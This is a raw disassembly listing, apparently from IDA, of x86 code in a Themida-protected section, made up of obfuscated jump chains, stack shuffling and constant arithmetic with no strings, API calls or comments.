		jmp	loc_5A2DAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5920E9:				; CODE XREF: sub_59390B+7B12j
		sub	esi, 5EDB3F25h
		jmp	loc_59B498
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5920F4:				; CODE XREF: Themida_:00594451j
		shr	edx, 8
		sub	edx, 7E307197h
		sub	edx, 81EF9ED1h
		add	ebp, edx
		jmp	loc_590B45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59210A:				; CODE XREF: sub_59390B+5984j
		mov	[esp-0Ch+arg_4], ecx
		mov	ch, 0C8h
		shr	ch, 5
		sub	ch, 73h
		sub	ch, 1
		and	ch, 0BEh
		xor	ch, 10h
		mov	dl, ch
		jmp	loc_5A46AB
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595949


loc_592125:				; CODE XREF: sub_595949+8AE7j
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	esi
		push	edi
		jmp	loc_59FFA7
; END OF FUNCTION CHUNK	FOR sub_595949
; ---------------------------------------------------------------------------


loc_592132:				; CODE XREF: Themida_:0059A63Dj
		pop	eax
		dec	eax
		not	eax
		xor	eax, 4D5A13F6h
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 0FBF314Eh
		sub	edx, 6075306Eh
		push	esi
		jmp	loc_5A4B98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_592155:				; CODE XREF: sub_59FD45-7C70j
		mov	esi, [esp+0]
		push	ebx
		jmp	loc_59FC5B
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------


loc_59215E:				; CODE XREF: Themida_:0059E9EAj
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		jmp	loc_594C5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59216B:				; CODE XREF: sub_59390B+BEj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-0Ch+arg_4]
		pop	esp
		mov	[esp-10h+arg_8], esi
		mov	esi, 4
		add	edi, 6D1C5526h
		add	edi, 2F071853h
		add	edi, esi
		jmp	loc_5A21C1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_592196:				; CODE XREF: sub_591FC5+B763j
		add	cl, dh
		push	[esp+0Ah+var_C+2]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		inc	cl
		push	ebx
		push	edx
		push	ecx
		mov	cl, 0CCh
		mov	dh, cl
		pop	ecx
		mov	bl, 0Dh
		xor	bl, dh
		jmp	loc_5A300A
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------


loc_5921BD:				; CODE XREF: Themida_:00592224j
		pop	edx
		xor	ah, 58h
		add	dh, 0A5h
		add	dh, ah
		sub	dh, 0A5h
		pop	eax
		sub	al, dh
		push	dword ptr [esp]
		pop	edx
		jmp	loc_59B6E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59333E


loc_5921D5:				; CODE XREF: sub_59333E+174Aj
		add	eax, 675B2CD0h
		xor	eax, 7F7F1E36h
		jmp	loc_595095
; END OF FUNCTION CHUNK	FOR sub_59333E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_5921E4:				; CODE XREF: sub_59FCCB-4CC5j
		xchg	edx, [esp+6+var_8+2]
		jmp	loc_596C22
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F6E


loc_5921EC:				; CODE XREF: sub_5A3F6E-22E4j
		mov	[esp-4+arg_0], eax
		jmp	loc_5A58AC
; END OF FUNCTION CHUNK	FOR sub_5A3F6E
; ---------------------------------------------------------------------------


loc_5921F4:				; CODE XREF: Themida_:005A2D2Dj
		mov	edx, 46913200h
		jmp	loc_59CA1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5921FE:				; CODE XREF: sub_59390B+8A91j
		sub	esi, ebx
		mov	ebx, [esp-10h+arg_8]
		add	esp, 4
		jmp	loc_59B502
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59220B:				; CODE XREF: Themida_:00597337j
		add	ebx, edi
		jmp	loc_59B5E7
; ---------------------------------------------------------------------------


loc_592212:				; CODE XREF: Themida_:00595A31j
		push	274h
		mov	[esp], edx
		mov	dh, 0FBh
		sub	ah, 0F8h
		add	ah, dh
		add	ah, 0F8h
		jmp	loc_5921BD
; ---------------------------------------------------------------------------


loc_592229:				; CODE XREF: Themida_:0059AC06j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 2
		sub	edx, 1E5C0D72h
		add	edx, esi
		add	edx, 1E5C0D72h
		mov	esi, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5A153B
; ---------------------------------------------------------------------------


loc_592266:				; CODE XREF: Themida_:0059B658j
		sub	ebp, 4
		jmp	loc_592807
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59226E:				; CODE XREF: sub_59390B+6D72j
		shr	esi, 6
		jmp	loc_5A4670
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_592276:				; CODE XREF: Themida_:005A522Cj
		sub	dl, 1
		jmp	loc_5A490D
; ---------------------------------------------------------------------------


loc_59227E:				; CODE XREF: Themida_:005A51B8j
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A4632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B7


loc_592292:				; CODE XREF: sub_5A16B7-E5D9j
		push	edx
		mov	ebp, [esp+4+var_4]
		jmp	sub_59DC9E
; END OF FUNCTION CHUNK	FOR sub_5A16B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59229B:				; CODE XREF: sub_59390B+969Fj
		xor	ebx, ecx
		jmp	loc_5A0B07
; ---------------------------------------------------------------------------


loc_5922A2:				; CODE XREF: sub_59390B+2C5j
		sub	ebp, ecx
		pop	ecx
		pop	edi
		add	ebp, 2
		xchg	ebp, [esp-1Ch+arg_14]
		mov	esp, [esp-1Ch+arg_14]
		sar	byte ptr [esp-1Ch+arg_14], cl
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5922BB:				; CODE XREF: Themida_:00595173j
		mov	ch, 0EFh
		jmp	loc_59F3CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F5C8


loc_5922C2:				; CODE XREF: sub_59F5C8-3F3Ej
		push	small 0
		sub	[esp+2+var_2], dl
		mov	dl, [esp+2+var_2]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 2
		xor	edx, [esp+6+var_6]
		xor	[esp+6+var_6], edx
		xor	edx, [esp+6+var_6]
		pop	esp
		jmp	loc_5936D8
; END OF FUNCTION CHUNK	FOR sub_59F5C8
; ---------------------------------------------------------------------------


loc_5922E7:				; CODE XREF: Themida_:00597D63j
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_59AA81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5922F1:				; CODE XREF: sub_59390B+9A03j
		mov	[esp-18h+arg_10], eax
		push	43F9157Ch
		pop	eax
		jmp	loc_597B2C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B8D


loc_5922FF:				; CODE XREF: sub_590B8D+68BBj
		sub	eax, edx
		sub	eax, 2A5933ACh
		sub	eax, 12175C5Ah
		pop	edx
		push	79D3h
		mov	[esp+0], esi
		mov	esi, 100h
		and	eax, esi
		push	dword ptr [esp+0]
		pop	esi
		push	ebp
		jmp	loc_591BB3
; END OF FUNCTION CHUNK	FOR sub_590B8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592325:				; CODE XREF: sub_59390B+10800j
		pop	cx
		jmp	loc_59D535
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59232C:				; CODE XREF: Themida_:005A482Fj
		xchg	edi, [esp]
		pop	esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A23CF
; ---------------------------------------------------------------------------


loc_59235E:				; CODE XREF: Themida_:005A22D3j
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		jmp	loc_590DCD
; ---------------------------------------------------------------------------


loc_592375:				; CODE XREF: Themida_:00591A67j
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		push	3BD37599h
		jmp	loc_598470
; ---------------------------------------------------------------------------


loc_592384:				; CODE XREF: Themida_:0059BC6Ej
		mov	[esp], eax
		push	edi
		push	esi
		mov	esi, 17487585h
		mov	edi, esi
		pop	esi
		push	edi
		push	23B231F6h
		mov	edi, [esp]
		add	esp, 4
		shl	edi, 8
		jmp	loc_5988A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5923A5:				; CODE XREF: sub_59390B+C498j
		dec	esi
		jmp	loc_598439
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_5923AB:				; CODE XREF: sub_5A17BF-5020j
		mov	esi, 38924ECBh
		jmp	loc_59C84C
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5923B5:				; CODE XREF: sub_59390B+11B36j
		mov	[esp-1Ah+arg_10+2], esi
		jmp	loc_5A0897
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592E1C


loc_5923BD:				; CODE XREF: sub_592E1C+C87Aj
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_5A2F2E
; END OF FUNCTION CHUNK	FOR sub_592E1C
; ---------------------------------------------------------------------------


loc_5923C9:				; CODE XREF: Themida_:005A13F8j
		sub	dword ptr [esp], 5C495D2Dh
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5923D5:				; CODE XREF: Themida_:00596EF7j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A0452
; ---------------------------------------------------------------------------


loc_5923E3:				; CODE XREF: Themida_:005A317Ej
		push	dword ptr [esp]
		jmp	loc_597688
; ---------------------------------------------------------------------------


loc_5923EB:				; CODE XREF: Themida_:0059CB4Cj
		neg	ebp
		add	ebp, 5E0549ABh
		add	ebp, 0A565737h
		sub	eax, ebp
		pop	ebp
		add	eax, 41405C2h
		sub	eax, esi
		sub	eax, 41405C2h
		push	ecx
		mov	ecx, 526C7B3Bh
		sub	ecx, 13D00F40h
		or	ecx, 4E5E199Fh
		and	ecx, 40EF2105h
		dec	ecx
		add	ecx, 0D3F6582Fh
		add	eax, ecx
		pop	ecx
		sub	eax, 1A4A1204h
		jmp	loc_59888B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5219


loc_592434:				; CODE XREF: sub_5A5219+6j
		xchg	edx, [esp+4+var_4]
		pop	ebp
		jmp	loc_595B58
; END OF FUNCTION CHUNK	FOR sub_5A5219
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59243D:				; CODE XREF: sub_59390B+85F9j
		mov	ecx, 1EDA24EEh
		shl	ecx, 5
		sub	ecx, 93383A44h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_594766
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_592453:				; CODE XREF: Themida_:00592AA7j
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		jmp	loc_59588D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592466:				; CODE XREF: sub_59390B+10E07j
		push	[esp-1Eh+arg_14+2]
		push	[esp-1Ah+arg_10+2]
		jmp	loc_5A4E27
; ---------------------------------------------------------------------------


loc_592471:				; CODE XREF: sub_59390B+5F4j
		pop	ebp
		push	2EBEh
		mov	[esp-16h+arg_C+2], eax
		mov	eax, 4
		sub	ecx, 5C100477h
		add	ecx, eax
		add	ecx, 5C100477h
		mov	eax, [esp-16h+arg_C+2]
		push	ecx
		mov	ecx, esp
		jmp	loc_59893C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_592498:				; CODE XREF: Themida_:00590D32j
		pop	esp
		mov	[esp], eax
		push	659Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_593118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5924AD:				; CODE XREF: sub_59390B+A8BDj
		inc	dl
		jmp	loc_59A46E
; ---------------------------------------------------------------------------


loc_5924B4:				; CODE XREF: sub_59390B-1D67j
		add	edi, edx
		add	edi, 51EF6E66h
		pop	edx
		xchg	edi, [esp-18h+arg_10]
		mov	esp, [esp-18h+arg_10]
		shl	eax, cl
		push	7FF2h
		mov	[esp-14h+arg_C], ebp
		mov	ebp, 232237DBh
		or	ebp, 13AC6381h
		add	ebp, 1
		push	ecx
		mov	ecx, esp
		push	6EE8h
		mov	[esp-0Ch+arg_4], ebp
		mov	ebp, 2AC2AD3h
		jmp	loc_599D15
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5924F0:				; CODE XREF: Themida_:005A3D65j
		add	edx, 4
		jmp	loc_59B4B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AB43


loc_5924F8:				; CODE XREF: sub_59AB43+278Fj
		add	ecx, 4
		jmp	loc_598FE0
; END OF FUNCTION CHUNK	FOR sub_59AB43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_592503:				; CODE XREF: sub_5936EC+F63Bj
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		jmp	loc_592753
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------


loc_592515:				; CODE XREF: Themida_:0059DCEAj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 7C0013A8h
		push	eax
		mov	eax, 6C4B4B0Ah
		jmp	loc_5A1452
; ---------------------------------------------------------------------------


loc_592537:				; CODE XREF: Themida_:00597569j
		push	2200h
		mov	[esp], ecx
		mov	ecx, 566A3E24h
		sub	esp, 4
		jmp	loc_593638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F4F


loc_59254C:				; CODE XREF: sub_5A4F4F-1434Fj
		sub	ebx, 37D7C4Eh
		pop	ebp
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_59195D
; END OF FUNCTION CHUNK	FOR sub_5A4F4F
; ---------------------------------------------------------------------------


loc_592564:				; CODE XREF: Themida_:0059A41Aj
		mov	[esp], eax
		mov	al, 59h
		dec	al
		jmp	loc_5A4D36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E93C


loc_592570:				; CODE XREF: sub_59E93C+A54j
		push	eax
		mov	eax, 1F933238h
		inc	eax
		add	eax, 47200E8Dh
		add	eax, 0D951DF4Fh
		jmp	loc_59136E
; END OF FUNCTION CHUNK	FOR sub_59E93C

; =============== S U B	R O U T	I N E =======================================



sub_592586	proc near		; CODE XREF: sub_59390B+1008Fj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005950B6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00596761 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005989DA SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059AF5E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059CC2F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059FD50 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0A97 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005A15B2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A44D0 SIZE 0000000A BYTES

		push	ebx
		jmp	loc_5989DA
sub_592586	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59258C:				; CODE XREF: Themida_:00596A58j
		mov	ebp, esp
		push	edx
		push	eax
		mov	eax, 106E313Bh
		mov	edx, 6A78D91Fh
		add	edx, eax
		mov	eax, [esp]
		jmp	loc_59933B
; ---------------------------------------------------------------------------


loc_5925A4:				; CODE XREF: Themida_:0059BF3Fj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	1343h
		mov	[esp], edx
		push	491h
		push	526Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_59615F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5925D5:				; CODE XREF: sub_59390B+4C8Cj
		shr	eax, 7
		or	eax, 5B276155h
		sub	eax, 55AE0A81h
		mov	edi, eax
		jmp	loc_5A5278
; ---------------------------------------------------------------------------


loc_5925E9:				; CODE XREF: sub_59390B+C058j
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5925EE:				; CODE XREF: sub_59390B+B963j
		pop	esp
		xchg	ebp, [esp-10h+arg_8]
		mov	esp, [esp-10h+arg_8]
		mov	word ptr [esp-10h+arg_8], ax
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5925FE:				; CODE XREF: Themida_:0059CADFj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	6292h
		mov	[esp], edx
		push	4
		jmp	loc_5A2576
; ---------------------------------------------------------------------------


loc_59261F:				; CODE XREF: Themida_:0059D969j
		pop	edi
		xor	edi, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_59C50B
; ---------------------------------------------------------------------------


loc_592633:				; CODE XREF: Themida_:005928A8j
		push	dword ptr [esp]
		jmp	loc_59C3ED
; ---------------------------------------------------------------------------


loc_59263B:				; CODE XREF: Themida_:0059C485j
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_592ED3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A958


loc_592648:				; CODE XREF: sub_59A958+1j
		mov	ebx, 0E7A4A52h
		and	ebx, 5CF80776h
		and	ebx, 70CB4C03h
		shr	ebx, 2
		xor	ebx, 1C52010Ch
		jmp	loc_596072
; END OF FUNCTION CHUNK	FOR sub_59A958
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2801


loc_592667:				; CODE XREF: sub_5A2801-A23Cj
		sub	edx, 580942ECh
		sub	edx, 272042E4h
		pop	ecx
		xchg	edx, [esp+8+var_8]
		pop	esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		btr	word ptr [esp-4+arg_0],	ax
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_5A2801
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592E25


loc_592692:				; CODE XREF: sub_592E25+8j
		pop	ebx
		jmp	loc_59420D
; END OF FUNCTION CHUNK	FOR sub_592E25
; ---------------------------------------------------------------------------


loc_592698:				; CODE XREF: Themida_:0059E9F4j
		mov	edx, esi
		jmp	loc_59B245
; ---------------------------------------------------------------------------


loc_59269F:				; CODE XREF: Themida_:00595471j
		pop	esp
		mov	ax, [esp]
		push	ecx
		jmp	loc_597A1D
; ---------------------------------------------------------------------------


loc_5926AA:				; CODE XREF: Themida_:0059B952j
		add	[esp+4], edi
		push	ecx
		jmp	loc_594FC2
; ---------------------------------------------------------------------------


loc_5926B4:				; CODE XREF: Themida_:005A1D85j
		add	ebp, 0DB0DC112h
		sub	ebx, ebp
		pop	ebp
		push	esi
		mov	esi, 6B8A1135h
		sub	eax, esi
		jmp	loc_590D73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5926CA:				; CODE XREF: sub_59390B+112F3j
		pop	ebp
		jmp	loc_5A4755
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2FE9


loc_5926D0:				; CODE XREF: sub_5A2FE9-FD3Aj
		xor	ebx, esi
		pop	esi
		add	esi, ebx
		jmp	loc_5A599F
; END OF FUNCTION CHUNK	FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5926DA:				; CODE XREF: sub_59CFD4-7EFAj
		mov	esi, 3C384728h
		add	eax, 2DBA5A7Ah
		add	eax, esi
		jmp	loc_59E3DD
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------


loc_5926EB:				; CODE XREF: Themida_:00597B41j
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5926F0:				; CODE XREF: sub_59390B+DB03j
		mov	eax, 1BBF499Ah
		sub	eax, 1BBF4996h
		jmp	loc_599F8A
; ---------------------------------------------------------------------------


loc_5926FF:				; CODE XREF: sub_59390B+360Dj
		mov	[esp-14h+arg_C], edx
		push	[esp-14h+arg_10]
		mov	edx, [esp-10h+arg_8]
		jmp	loc_593A12
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59270E:				; CODE XREF: Themida_:0059BEC5j
		xchg	bh, [esp+1]
		pop	dx
		shr	dh, 5
		shr	dh, 7
		not	dh
		jmp	loc_59D1EC
; ---------------------------------------------------------------------------


loc_592721:				; DATA XREF: Themida_:005909E0o
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5933BB


loc_592726:				; CODE XREF: sub_5933BB+1j
		mov	ebx, 1C000AB6h
		sub	ebx, 317668F3h
		jmp	loc_598F50
; END OF FUNCTION CHUNK	FOR sub_5933BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_592736:				; CODE XREF: sub_59FCCB-D093j
		not	dl
		push	eax
		mov	ah, 0A6h
		jmp	loc_59D186
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_592740:				; CODE XREF: sub_59CFD4+40CCj
		neg	ecx
		add	ecx, 3F702BC3h
		add	ecx, 7F1A463Fh
		jmp	loc_597C32
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_592753:				; CODE XREF: sub_5936EC-11DCj
		push	esi
		push	esp
		pop	esi
		push	ebp
		mov	ebp, 45D85D69h
		sub	ebp, 45D85D65h
		add	esi, ebp
		mov	ebp, [esp+8+var_8]
		jmp	loc_59E0C9
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_59276C:				; CODE XREF: sub_59654E+76B9j
		add	esp, 4
		push	eax
		jmp	loc_5A147E
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592775:				; CODE XREF: sub_59390B-815j
		push	edi
		jmp	loc_59283A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59277B:				; CODE XREF: Themida_:0059E1F0j
		add	edx, eax
		pop	eax
		push	ebp
		push	edx
		jmp	loc_591885
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C8A4


loc_592785:				; CODE XREF: sub_59C8A4+76Bj
		add	ebp, 0FFFFFFFFh
		jmp	loc_596225
; END OF FUNCTION CHUNK	FOR sub_59C8A4
; ---------------------------------------------------------------------------


loc_592790:				; CODE XREF: Themida_:005A26F3j
		dec	eax
		push	ebp
		mov	ebp, 734C6155h
		xor	eax, ebp
		pop	ebp
		jmp	loc_59444B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_59279F:				; CODE XREF: sub_59A75E+1663j
		sub	ax, di
		pop	edi
		jmp	loc_5A4D07
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_5927A8:				; CODE XREF: Themida_:005A3321j
		push	bx
		mov	bh, 0D9h
		jmp	loc_59D90A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_5927B1:				; CODE XREF: sub_59FCCB-9741j
		pop	edx
		jmp	loc_59A6B6
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5932F7


loc_5927B7:				; CODE XREF: sub_5932F7+27B0j
		add	ebx, 1
		jmp	loc_5A4523
; END OF FUNCTION CHUNK	FOR sub_5932F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5927BF:				; CODE XREF: sub_59390B+1144Ej
		mov	bh, 49h
		sub	bh, ch
		pop	ecx
		jmp	loc_5937FD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5927C9:				; CODE XREF: Themida_:0059C9C4j
		push	esi
		mov	esi, 306D2DC2h
		sub	esi, 120800ACh
		jmp	loc_59EE6C
; ---------------------------------------------------------------------------


loc_5927DA:				; CODE XREF: Themida_:005A3F32j
		push	ebx
		pop	eax
		pop	ebx
		jmp	loc_598C41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_5927E2:				; CODE XREF: sub_59A75E+30Fj
		push	6FC7h
		push	esp
		pop	[esp+0Ah+var_C+2]
		add	[esp+6+var_8+2], 4
		mov	ecx, [esp+6+var_8+2]
		add	esp, 4
		jmp	loc_59C704
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_592800:				; CODE XREF: Themida_:005A589Fj
		pop	edx
		push	ecx
		jmp	loc_59A91B
; ---------------------------------------------------------------------------


loc_592807:				; CODE XREF: Themida_:00592269j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		push	7885h
		jmp	loc_591337
; ---------------------------------------------------------------------------
		push	edx
		jmp	loc_59F3B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BF22


loc_592824:				; CODE XREF: sub_59BF22+44ABj
		push	eax
		jmp	loc_597B4C
; END OF FUNCTION CHUNK	FOR sub_59BF22
; ---------------------------------------------------------------------------


loc_59282A:				; CODE XREF: Themida_:005A525Fj
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A2312
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59283A:				; CODE XREF: sub_59390B-1195j
		push	[esp-0Ch+arg_8]
		pop	edi
		jmp	loc_5A538B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2FC


loc_592844:				; CODE XREF: sub_59F2FC-4FA2j
		mov	[esp+10h+var_10], edi
		mov	edi, 57C15938h
		sub	edi, 38BFEE9Fh
		jmp	loc_593A73
; END OF FUNCTION CHUNK	FOR sub_59F2FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592857:				; CODE XREF: sub_59390B+28E0j
		add	ebp, 4
		push	ecx
		jmp	loc_59EBFE
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2FE9


loc_592863:				; CODE XREF: sub_5A2FE9-830Aj
		push	[esp+0Ch+var_8]
		mov	esi, [esp+10h+var_10]
		sub	esp, 4
		mov	[esp+14h+var_14], edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		push	ebp
		mov	ebp, 49334B4h
		push	edi
		jmp	loc_5A1D32
; END OF FUNCTION CHUNK	FOR sub_5A2FE9
; ---------------------------------------------------------------------------


loc_59288D:				; CODE XREF: Themida_:005993B1j
		add	edi, 0B9154337h
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, eax
		push	ebx
		mov	ebx, 57BE2E96h
		sub	edx, ebx
		jmp	loc_592633
; ---------------------------------------------------------------------------


loc_5928AD:				; CODE XREF: Themida_:00592EA2j
		add	ecx, 4
		sub	ecx, 4
